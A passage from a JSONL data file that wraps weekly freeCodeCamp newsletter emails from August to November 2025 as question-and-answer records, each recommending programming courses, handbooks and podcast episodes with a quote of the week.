Ollama. This is a great way to unlock the power of LLMs without the privacy and security tradeoffs of using public LLM websites and APIs. This freeCodeCamp guide will walk you through the setup process and give you a feel for the options at your disposal. (10 minute read): https://www.freecodecamp.org/news/how-to-run-an-open-source-llm-on-your-personal-computer-run-ollama-locally/\n\nQuote of the Week:\n*“People get jobs years down the line because someone remembers them from an interview and wishes they could have hired them then.”* — Software Engineer and former recruitment agency admin Abbey Perini on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739478"}
{"id": "gh_d2abb776264a", "question": "How to: November 7, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how cryptography works, and how developers use it to secure both data and communication. freeCodeCamp just published a course that will teach you Python functions for symmetric and asymmetric encryption. You'll learn about SHA-256, AES, RSA, and public / private keys as well. You'll even code your own command-line cryptography tool. (1 hour YouTube course): https://www.freecodecamp.org/news/cryptography-for-beginners-full-python-course-sha-256-aes-rsa-passwords/\n\n2. freeCodeCamp also published a course on building your own 3D games that run in a browser using Three.js and Blender. You'll learn how to model characters, design levels, detect collisions, and make the camera follow your playable character. You'll even deploy your game to the cloud so your friends can play it. (6 hour YouTube course): https://www.freecodecamp.org/news/creative-web-development-with-threejs-and-blender/\n\n3. On this week's podcast I interview a self-taught developer with nearly a decade of software engineering experience. Patrick Hartley had to drop out of college to provide for his family. He taught himself programming while working at a thrift store, getting experience by freelancing and building his own apps. After 10 years as a dev, he turned down opportunities at big tech companies so he could continue working remotely from Oklahoma City. He shares tips for building foundational Python and JavaScript skills, surviving meetings as an introvert, and landing remote roles – even when you're competing with the global developer talent pool. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/he-turned-down-a-faang-dev-job-to-keep-working-remotely-with-patrick-hartley-podcast-195/\n\n4. Learn Event-Driven Architecture. freeCodeCamp published this advanced JavaScript handbook that will teach you about Event Loops, Task Queues, Call Stacks, Backpressure, Websockets, Pub/Sub, and more. Take your full stack development skills to the next level and be sure to share this with your developer friends. (full length handbook): https://www.freecodecamp.org/news/event-based-architectures-in-javascript-a-handbook-for-devs/\n\n5. freeCodeCamp also published our first ever guitar course. You'll learn beginner music theory concepts like chords and scales. You'll then map them to the guitar fretboard. You'll also learn guitar-specific techniques like barre chords. I learned guitar during the pandemic and am having an absolute blast with it. I hope you will, too. (1 hour YouTube course): https://www.freecodecamp.org/news/guitar-theory-course-for-beginners-learn-fretboard-major-scale-and-triads\n\nQuote of the Week:\n*“I'd be happy sitting in a basement coding 8 hours a day. But I'm growing a lot faster trying to be an extrovert.”* — Self-taught Software Engineer Patrick Hartley on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739489"}
{"id": "gh_be0e22ad9c2c", "question": "How to: October 31, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new course taught by legendary Harvard computer science professor Dr. David J. Malan. This comprehensive cybersecurity for beginners course will teach you how to secure accounts, databases, and entire software systems. Dr. Malan also shares tons of practical tips for securing your privacy in an increasingly adversarial world. (8 hour YouTube course): https://www.freecodecamp.org/news/learn-cybersecurity-from-harvard-university\n\n2. freeCodeCamp also published a guide to passing the Certified Kubernetes Administrator Exam. Beau Carnes teaches this course, which will walk you through key DevOps concepts. You'll start by setting up your K8s practice environment. Then you'll bootstrap a multi-node cluster and your control plane. You'll learn about Helm, High Availability Autoscaling, CoreDNS, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/prepare-for-the-kubernetes-administrator-certification-and-pass/\n\n3. On this week's freeCodeCamp podcast, I interview a software engineer who got his first developer job at age 45. Eric Carlson is a self-taught software engineer at Cisco. In his early 20s, he worked his way up to manager at the busiest Domino's Pizza in Canada. He eventually went to college and studied liberal arts, then worked as a teacher for two decades before teaching himself programming using freeCodeCamp. He was able to gradually pivot into a developer role within the big telecom company where he was working. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/first-dev-job-at-45-interview-with-self-taught-freecodecamp-grad-eric-carlson-podcast-194/\n\n4. Learn how to build high-performance mobile apps using Google's open-source Flutter framework. freeCodeCamp uses Flutter for our Android and iPhone apps, and it's way easier than maintaining two separate app codebases. This Flutter handbook will teach you how to efficiently lay out your apps with minimum widget rebuilds. You'll learn state management techniques, asynchronous patterns, and image caching best practices. You'll also learn how to use Isolates and lazy loading to make your apps really snappy. (full length handbook): https://www.freecodecamp.org/news/how-to-build-scalable-and-performant-flutter-applications-a-handbook-for-devs/\n\n5. Learn Serverless Architecture using C# .NET and Azure cloud. This jam-packed course will teach you common microservice patterns, Onion Architecture, IoT functions, and more. (5 hour YouTube course): https://www.freecodecamp.org/news/serverless-and-microservices-with-c-and-azure/\n\nQuote of the Week:\n*“Most developer stories about learning to code involve having time to do things like go to meetups, build side projects, grind LeetCode, and so on. I didn’t have time or energy to do any of these things with a baby at home. So I found another way into my first developer job. For me, I had to find a way to get paid to code at my non-coding job. First I found a way to code for 5% of my job, then 10%, then a jump to 50%, and finally a jump to a 100% coding role.”* — Software Engineer Eric Carlson on how he transitioned into a developer role within his current company at age 45, on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739501"}
{"id": "gh_19d12401ec34", "question": "How to: October 24, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a massive course that will teach you almost every major data structure and algorithm that may come up in a developer job interview. You'll learn about Time Complexity, Space Complexity, and Big O Notation. Then you'll learn concepts like Trees, Graphs, Dynamic Programming, Backtracking, and more. (49 hour YouTube course): https://www.freecodecamp.org/news/master-technical-interviews-by-learning-data-structures-and-algorithms/\n\n2. freeCodeCamp also published a handbook that will teach you React for beginners. React is a powerful front end development library that tons of companies use to make their websites more interactive. If you already know some basic HTML, CSS, and JavaScript, this handbook is for you. You'll learn about JSX, components, event handlers, hooks, and more. (full length handbook): https://www.freecodecamp.org/news/react-handbook-for-beginners-learn-jsx-hooks-rendering/\n\n3. On this week's freeCodeCamp podcast: from injured athlete to self-taught software engineer. I interview Kaleb Garner who earned a university scholarship to play baseball. But after a career-ending injury, he dropped out and moved back in with his parents. While working at an optometry office, he used freeCodeCamp to learn programming. We talk about how he was able to land his first developer job after only 20 carefully-researched applications. He also shares tips for making your network and your skillset more layoff-resilient. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-injured-athlete-to-software-engineer-with-kaleb-garner-podcast-193/\n\n4. This SwiftUI for Beginners course will give you the tools you need to build your first iPhone app. You can code along at home and build your own movie browsing app with powerful search features and the ability to stream movie trailers. You'll learn about navigation, API networking requests, SwiftData, and more. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-swiftui-and-create-an-ios-app-from-scratch/\n\n5. Finally, freeCodeCamp published an advanced Python tutorial on Machine Learning Lineage. This is important to establish the safety of mission critical AI systems. You'll learn about ETL Pipelines, Data Drift Checks, Model Tuning, and Model Risk Assessment. (20 minute read): https://www.freecodecamp.org/news/how-to-build-end-to-end-machine-learning-lineage/\n\nQuote of the Week:\n*\"If they won't hire you without a degree, they weren't a good fit for you anyway.\"* — Software Engineer Kaleb Garner on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739512"}
{"id": "gh_4bdd93971edf", "question": "How to: October 17, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a course on how to build your own MCP server with Python. Model Context Protocol Servers are like APIs for AI agents. Lots of developers are now building them to help agents interact with their websites' data more accurately. This course will teach you how to leverage the open source FastMCP library to build a calculator project that agents can then directly interact with. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-mcp-essentials-and-how-to-create-secure-agent-interfaces-with-fastmcp\n\n2. Learn how to pass Google's new Generative AI Leader Certification Exam. Andrew Brown is a CTO who has passed practically every DevOps exam under the sun, and he teaches this course. He'll give you a business-level understanding of Google Cloud's gen AI offerings. By the end of this course, with the help of Andrew's practice materials, you'll be ready to sit for the exam. (3 hour YouTube course): https://www.freecodecamp.org/news/pass-the-google-generative-ai-leader-certification-exam/\n\n3. On this week's freeCodeCamp podcast I interview Evan You. He's the creator of the popular Vue front end development framework and the Vite JavaScript build tool that a lot of devs use as a boilerplate for their new projects. As a self-taught developer, he shares tips for getting involved in open source and ultimately leading open source projects and attracting sponsors. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/evan-you-from-art-school-kid-to-open-source-legend-podcast-192/\n\n4. Teach your apps how to learn. This comprehensive Machine Learning fundamentals course will walk you through building systems smart enough to create their own algorithms. You'll use C++ to implement a Preceptron, which will then look at images of shapes and figure out ways to reliably label them. (interactive course): https://www.freecodecamp.org/news/machine-learning-tutorial-how-to-program-without-creating-your-own-algorithms/\n\n5. Strix is a relatively new open source tool for testing the security of your apps and identifying vulnerabilities. It's essentially an AI-powered white hat attacker that you set loose in your codebase. This tutorial will explain how it works and how you can use it to harden your apps against common exploits. (15 minute read): https://www.freecodecamp.org/news/how-to-use-strix-the-open-source-ai-agent-for-security-testing/\n\nQuote of the Week:\n*\"When I build things, I often start by prototyping the end developer experience I want for myself — then I reverse engineer from that to the implementation details.\"* — Software Engineer Evan You on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739523"}
{"id": "gh_ebec54bf2449", "question": "How to: October 3, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new in-depth course that will teach you full stack development fundamentals from the ground up. It covers front end development tools like HTML, CSS, and JavaScript. Then it moves to back end development tools like Node, SQL, and TypeScript. You can code along at home and build a variety of projects while getting exposed to a ton of concepts. (47 hour YouTube course): https://www.freecodecamp.org/news/become-a-full-stack-developer-with-one-video/\n\n2. We also just completed work on this new Go programming course where you build your own movie streaming app. Go is a fast back end language, and here we're pairing it with the Gin-Gonic web server framework. As you build this project, you'll also integrate your movie database with OpenAI's API to analyze data and give your users personalized movie recommendations. (15 hour YouTube course): https://www.freecodecamp.org/news/build-a-full-stack-movie-streaming-app-with-go-react-mongodb-openai/\n\n3. On this week's podcast I interview the self-taught developer who built freeCodeCamp's relational database curriculum, and is now designing our daily coding challenges. Tom Mondloch shares how he finished community college and wasn't sure what to do next. So he spent the next few years working odd jobs in the great outdoors. He used freeCodeCamp to learn modern development tools and started contributing to open source projects. He shares tips for brushing up on your skills after you've taken a long break from programming. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/lone-wolf-dev-turned-open-source-super-contributor-tom-mondloch-podcast-190/\n\n4. When browsing the web, you may see the error message that something has been “blocked by CORS policy.” CORS stands for Cross-Origin Resource Sharing. When fetching data, if the domain of the requester is different from the domain of the receiver, your browser will reject that request. It's an important security measure, but it can also be a headache for developers trying to maintain their web apps. Luckily, freeCodeCamp just published this tutorial – chock full of theory and code examples – to help you understand the basics. (20 minute read): https://www.freecodecamp.org/news/how-to-fix-cross-origin-errors/\n\n5. You've probably heard people throw around terms like Deep Learning, Machine Learning, and Generative AI. But what do they mean in relation to one another? This quick article breaks down the jargon for you in plain English. (10 minute read): https://www.freecodecamp.org/news/machine-learning-vs-deep-learning-vs-generative-ai/\n\nQuote of the Week:\n*\"Just start. Find an open source repo. Find an issue. Even if it’s just a typo. Fix it and move on from there. That’s how you gain experience and grow as a developer.\"* — Software Engineer Tom Mondloch on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739534"}
{"id": "gh_1aac569728ff", "question": "How to: September 27, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published an in-depth Python course that will walk you through training your own Large Language Model. If you have some basic programming skills and want to get deeper into Machine Learning, this is an excellent place to start. You'll learn about key concepts like Reward Modeling, Supervised Fine-Tuning, Mixture-of-Experts Layers, RMSNorm, RoPE, KV caching, and more. Dive in. (6 hour YouTube course): https://www.freecodecamp.org/news/code-an-llm-from-scratch-theory-to-rlhf/\n\n2. We also published a Python course that will help you build production-ready AI systems. This no-nonsense course will take you step by step through building a sophisticated data pipeline that scrapes training data, cleans it up, and ensures its integrity before feeding it into your model. I love this dude's relentless teaching style. (2 hour YouTube course): https://www.freecodecamp.org/news/build-an-enterprise-grade-ai-project/\n\n3. On this week's freeCodeCamp podcast I interview Ihechikara Abba, a software engineer with a Chess Elo of 2285, which puts him among top players. We talk about his recent freeCodeCamp course on checkmate patterns, and how improving your chess game can also improve your programming. He also shares tips for getting into embedded systems development with Arduino. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/learn-chess-and-become-a-better-developer-with-ihechikara-abba-elo-rating-of-2285-podcast-189/\n\n4. freeCodeCamp also published a course on building advanced AI agents. You'll use Python to implement interactive voice agents and intelligent research assistants. This course will even expose you to multi-agent workflows. You'll use sample codebases and popular tools like LangChain and LiveKit to code along at home. (1 hour YouTube course): https://www.freecodecamp.org/news/how-to-build-advanced-ai-agents/\n\n5. Memory leaks are one of the most common performance issues with React apps. This JavaScript tutorial will walk you through the most common ways they afflict your apps. Then it'll equip you with the tools you need to track memory leaks down and fix them. It's chock full of code examples for Event Listeners, Timers, Subscriptions, and Async Operations. (15 minute read): https://www.freecodecamp.org/news/fix-memory-leaks-in-react-apps/\n\nQuote of the Week:\n*\"If you don't like playing the social media game, contributing code to open source projects can serve as an alternative to building up a social media presence.\"* — Software Engineer Ihechikara Abba on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739544"}
{"id": "gh_e16961a44626", "question": "How to: September 20, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this comprehensive front end development course where you build your own browser-based code editor. You can code along at home and build your own single page app development environment with tabs for editing your HTML, CSS, and JavaScript. Along the way, you'll learn some intermediate JS techniques that allow for instant live preview, so you can see the results of your code changes right away. (4 hour YouTube course): https://www.freecodecamp.org/news/code-your-own-code-editor/\n\n2. I also made a quick announcement about some big improvements to our core Full Stack Development curriculum. In short, we're breaking down our new coursework into a series of six new certifications you can earn along the way to the capstone cert. These include Python, Relational Databases, Front End Libraries, and more. (5 minute read): https://www.freecodecamp.org/news/introducing-freecodecamp-checkpoint-certifications/\n\n3. freeCodeCamp also just published this new course that will help you pass the Databricks Data Engineer Associate certification exam. Andrew Brown is a CTO who has passed practically every DevOps exam under the sun, and he teaches this course. He'll introduce you to key concepts like Clusters, Structured Streaming, Data Lakes, and more. (8 hour course): https://www.freecodecamp.org/news/prepare-for-the-databricks-data-engineer-associate-certification-exam-and-pass/\n\n4. On this week's freeCodeCamp podcast I interview two legends in the self-taught developer community: 100Devs founder Leon Noel and prolific teacher Danny Thompson. We spent the entire hour talking about the developer job market, and how it's changed due to interest rate changes and AI hype uncertainty. Danny and Leon have helped thousands of people navigate the developer job search, so they have tons of practical advice. You'll learn about common misconceptions people have about résumés, recruiters, Applicant Tracking Systems, knockout questions, and more. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/playing-the-developer-job-search-game-to-win-in-2025-with-danny-thompson-and-leon-noel-podcast-188/\n\n5. Finally, enjoy this breezy read about Cosine Similarity and the role it plays in Large Language Models. As its author, Manish, says, Cosine Similarity is “a bridge between human language and machine understanding. It allows a model to treat meaning as geometry, turning questions and answers into points in space.” Not only will you learn the math involved, you'll also see it implemented in Python code. (10 minute read): https://www.freecodecamp.org/news/how-does-cosine-similarity-work/\n\nQuote of the Week:\n*\"If your goal is to ship something right now, you should use AI. But if your goal is to build something you can understand and talk about in front of employers, you shouldn't be using AI right now.\"* — Software Engineer Danny Thompson on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739555"}
{"id": "gh_1d04180a4774", "question": "How to: September 13, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a GameDev for beginners course that will help you build your first 2D platformer game. First you'll learn the basics of the open source Godot game engine, and its Python-like GDScript programming language. Then you'll dive into Godot's editor, custom tile sets, game mechanics, scoring, checkpoint systems, and more. By the end of the course, you'll have your own game that your friends can play in any browser. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-game-development-by-building-your-first-platformer-with-godot/\n\n2. freeCodeCamp just launched our daily coding challenges. You can solve these programming puzzles using Python or JavaScript. Build up your data structures + algorithms skills each day, right in your browser or in the freeCodeCamp iPhone or Android app. We're launching with a backlog of 30 challenges that are live now. See how many you can solve. (article with more details): https://www.freecodecamp.org/news/introducing-freecodecamp-daily-python-and-javascript-challenges-solve-a-new-programming-puzzle-every-day/\n\n3. Learn how to build your own secure PHP web apps using the popular open source Symfony framework. This intermediate course is taught by Beau Carnes, who has many years of experience as a software engineer and as a high school special ed teacher. He'll quickly fill you in on Symfony's security features, which enable you to query encrypted data without ever even needing to decrypt it on your MongoDB database server. You can code along and home and build your own secure personal finance app while applying these new concepts. (1 hour YouTube course): https://www.freecodecamp.org/news/build-secure-web-applications-with-php-symfony-and-mongodb/\n\n4. On this week's freeCodeCamp podcast I interview Ania Kubów. She's a software engineer and a prolific programming teacher on YouTube. She shares tips for how to keep your focus and expand your skills in today's increasingly distracting world. She's passionate about building games, and has lots of advice for getting into GameDev by using JavaScript-based browser games as an entry point. We also talk about the JS13k competition that she judges each year, where devs build entire games that fit within just 13 kilobytes. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-focus-on-building-your-skills-when-everythings-so-distracting-with-ania-kubow-podcast-187/\n\n5. I also recommend reading this quick post by a freeCodeCamp community member on the importance of Hackathons. They opened all sorts of doors for him in his job search. (10 minute read): https://www.freecodecamp.org/news/why-every-student-should-join-hackathons/\n\nQuote of the Week:\n*\"My worry is that with AI now people just stop learning the fundamentals. But then how do you fully understand something, really? You should definitely still learn the fundamentals before using all these AI tools.\"* — Software Engineer Ania Kubów, who has taught some of YouTube's most popular LLM-focused courses, on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739567"}
{"id": "gh_12425c7a57c7", "question": "How to: September 6, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn about AI-assisted coding from a software engineer who's maintained freeCodeCamp's platform and infrastructure for the past 7 years. Mrugesh was initially skeptical of AI tools but has recently used them to great effect. And he wrote this handbook to help you do the same. He says experienced developers can complete tasks faster with AI assistance. But they need to know how to use these tools effectively. And they also need strong foundational programming skills. This handbook is a no-nonsense guide to emerging tools and best practices. (full-length handbook): https://www.freecodecamp.org/news/how-to-become-an-expert-in-ai-assisted-coding-a-handbook-for-developers/\n\n2. freeCodeCamp also published a course on building your own AI agent from scratch using Python. You'll implement the agentic loop. Then you'll endow your agent with the ability to read, write, and execute code. Finally, you'll supervise your agent as it goes through and makes fixes to an intentionally buggy codebase. (3 hour YouTube course): https://www.freecodecamp.org/news/build-an-ai-coding-agent-in-python/\n\n3. For this week's podcast, I've changed the format. I now start off the show with a few minutes of freeCodeCamp community updates and useful news about programming. Then I do a shorter, more focused interview with a software engineer. This week I talk with Ankur Tyagi, a freelance developer and prolific contributor to freeCodeCamp's open source learning resources. He's worked at Volvo, Barclays, Accenture, and other multinationals. He shares his own tips for leveraging AI tools, and why he doesn't think they'll result in fewer jobs for devs. He also has tons of tips for running your own developer consultancy. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-use-ai-as-an-accelerator-not-a-crutch-with-freelance-engineer-ankur-tyagi-podcast-186/\n\n4. The freeCodeCamp community also just published our first-ever Mandarin Chinese course. It's aimed at absolute beginners. It'll teach you fundamentals of the language and help you prepare for the standardized HSK exam. As you may recall, we've published beginner courses on Spanish and German as well. We eventually hope to have courses on a wide range of world languages at many levels of proficiency. I started learning Mandarin 23 years ago and I can tell you this course just scratches the surface. But it should be a good starting point for you if you're curious. (11 hour YouTube course): https://www.freecodecamp.org/news/learn-mandarin-chinese-for-beginners-full-hsk-1-level/\n\n5. Learn the graph algorithms that power Netflix's video recommendation engine and Google Maps' routing logic. This Python tutorial will introduce you to Breadth-First Search, Depth-First Search, Dijkstra’s Algorithm, and other key computer science concepts. It includes plenty of code examples to help you understand these powerful programming structures. (20 minute read): https://www.freecodecamp.org/news/graph-algorithms-in-python-bfs-dfs-and-beyond/\n\nQuote of the Week:\n*\"To build any complex software, you need a lot of good engineers. You need engineers who can think about problems. You need engineers who can drill down into your own tasks and your own use cases.\"* — Software Engineer Ankur Tyagi on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739579"}
{"id": "gh_a5957fc68faf", "question": "How to: August 30, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community just published this Python Machine Learning course where you'll learn how to control a robotic arm using computer vision. You'll set up serial communication between Python and a cheap Arduino microcontroller board. Then you'll learn how to detect physical objects using the open source Python libraries MediaPipe and OpenCV. You'll also learn how to manipulate servo motors and LED displays. (3 hour YouTube course): https://www.freecodecamp.org/news/use-arduinos-for-computer-vision/\n\n2. freeCodeCamp also published a course that will help you prepare for the Google Professional Cloud Architect Certification exam. Andrew Brown is a CTO who has passed practically every DevOps exam under the sun, and he teaches this course. You'll learn about Infrastructure as Code, Serverless Architecture, networking, monitoring, logging, and more. (16 hour YouTube course): https://www.freecodecamp.org/news/prepare-for-the-google-professional-cloud-architect-certification-exam-and-pass/\n\n3. Three.js is a powerful 3D rendering tool that tons of artists use to build games and interactive experiences that can run right inside a browser. This new freeCodeCamp course will walk you through building 5 practical projects. You'll learn about foundational concepts before moving on to textures, dynamic particle effects, and interactive physics. (2 hour YouTube course): https://www.freecodecamp.org/news/create-3d-web-experiences-with-javascript-and-threejs/\n\n4. On this week's podcast, I interview Emmett Naughton, a software engineer who taught himself programming over several years while working as a janitor at a hospital. He talks about making ends meet while raising a family and recovering from getting laid off twice. He also shares how discovering he had sleep apnea and treating it dramatically improved his thinking. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-hospital-janitor-to-developer-with-emmett-naughton-podcast-185/\n\n5. The Bag of Words algorithm is an important method that machine learning engineers have used to turn text into numbers so they can train their models. This tutorial will teach you how Bag of Words works, using Python code examples. It also describes the limitations of Bag of Words, and how scientists have gone on to create Word2Vec, GloVe, and other algorithms for mapping the relationships between words. (10 minute read): https://www.freecodecamp.org/news/how-bag-of-words-works/\n\nQuote of the Week:\n*\"I was mopping floors in an outpatient surgical recovery room listening to the Code Newbies podcast when I first heard an interview with Quincy.\"* — Software Engineer Emmett Naughton on this week's freeCodeCamp podcast, sharing how he discovered the freeCodeCamp community and dove deeper into programming", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739589"}
{"id": "gh_561179845891", "question": "How to: August 23, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published our first-ever chess course, taught by a software engineer on our team who has an ELO rating of 2285, putting him among top competitive players. Ihechikara Abba will teach you how to think strategically and checkmate your opponents. This beginner-level course starts off with algebraic chess notation and identifying the squares. Then you'll learn several endgame patterns. We published both a handbook and an accompanying YouTube course for you to reference and share with your friends. (full length handbook): https://www.freecodecamp.org/news/checkmate-patterns-in-chess-for-beginners\n\n2. freeCodeCamp also published this comprehensive course on how to build your own AI shopping agent. Software Engineer Ania Kubów will teach you how to use Node, LangChain's LangGraph, Gemini, MongoDB, and other popular tools to build your agent. By the end of this course, your agent will be able to autonomously perceive, plan, act, and respond to your users. It will also be able to decide when it has enough information to respond, and when it needs to first reach out for external information by searching product databases. (2 hour YouTube course): https://www.freecodecamp.org/news/building-an-ai-powered-e-commerce-chat-assistant-with-mongodb/\n\n3. On this week's freeCodeCamp podcast I interview a developer who dropped out of college and worked as a park ranger, preventing Yogi Bear from stealing pic-a-nic baskets. In all seriousness, he performed important preservation work and even hiked the 2,200-mile Appalachian Trail. He shares tips for learning programming even when you have no money, and how to surround yourself with ambitious peers who can help you learn faster. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-drop-out-to-backpacker-to-self-taught-developer-with-dominick-monaco-podcast-183/\n\n4. Alibaba just dropped the latest version of their Qwen LLM and already the freeCodeCamp community has a comprehensive course on how to train it from scratch. You'll learn about its architecture, Training Hyperparameters, Muon Optimization, RoPE Positional Embeddings, inference, text generation, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/code-and-train-qwen3-from-scratch/\n\n5. Learn the field of System Design from a dev who applies the principles both to software development and to his day-to-day life. You'll learn about scalability issues, the CAP Theorem, Caching & CDNs, Rate Limiting, and other key concepts. (50 minute read): https://www.freecodecamp.org/news/learn-key-system-design-principles-behind-high-traffic-platforms-like-gaming-and-job-discovery/\n\nQuote of the Week:\n*\"Big change happens in small increments. Big change is possible with really small, consistent effort.\"* — Software Engineer Dominick Monaco on how he iterated his way to working as a developer over time, on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739601"}
{"id": "gh_73c7720949b1", "question": "How to: August 16, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this full length book on how to architect a database using SQL and relational database management systems. This book is aimed at beginners, and includes a Jupyter Notebook you can interact with as you follow along. It will teach you Postgres and a bit of SQL. Then you'll learn how to design and maintain efficient, secure databases that support complex data-driven apps. (Full length book): https://www.freecodecamp.org/news/how-to-design-structured-database-systems-using-sql-full-book/\n\n2. freeCodeCamp also published this comprehensive data science course on Time Series Forecasting with Python. You'll learn about key Time Series components like trend, seasonality, and residuals. You'll start by building some baseline models. Then you'll dive into Cross-Validation, Exogenous Features, Prediction Interval Generation, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-time-series-forecasting-in-python/\n\n3. On this week's freeCodeCamp podcast, I interview Edidiong Asikpo about her journey from medical school into software engineering. She talks about Nigeria's tech scene, how to break into tech when you live outside the Silicon Valley ecosystem, and how she transitioned from mobile app development to DevOps. Tons of actionable tips here. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/abandoning-med-school-to-become-a-software-engineer-with-edidiong-asikpo-podcast-182/\n\n4. freeCodeCamp also published this in-depth guide to passing the Google Cloud Associate Engineer certification exam. Andrew Brown will teach you about Infrastructure as Code, Serverless, Google Kubernetes Engine, data storage solutions, and more. If you're interested in a career in DevOps, take a gander. (11 hour YouTube course): https://www.freecodecamp.org/news/pass-the-google-cloud-associate-cloud-engineer-exam/\n\n5. Learn how the popular Next.js web development framework handles caching and rendering. This course uses the latest version of Next.js – version 15. It will teach you all about Static Site Generation, Server-Side Rendering, Incremental Static Regeneration, and other important concepts. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-nextjs-15-caching-and-rendering/\n\nQuote of the Week:\n*\"To this day, I remember when my first open source pull request got merged. It was one of the best days of my life. I was so, so happy. I couldn't believe that a code contribution that I made was now part of an application used by thousands of people.\"* — Software Engineer Edidiong Asikpo on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": 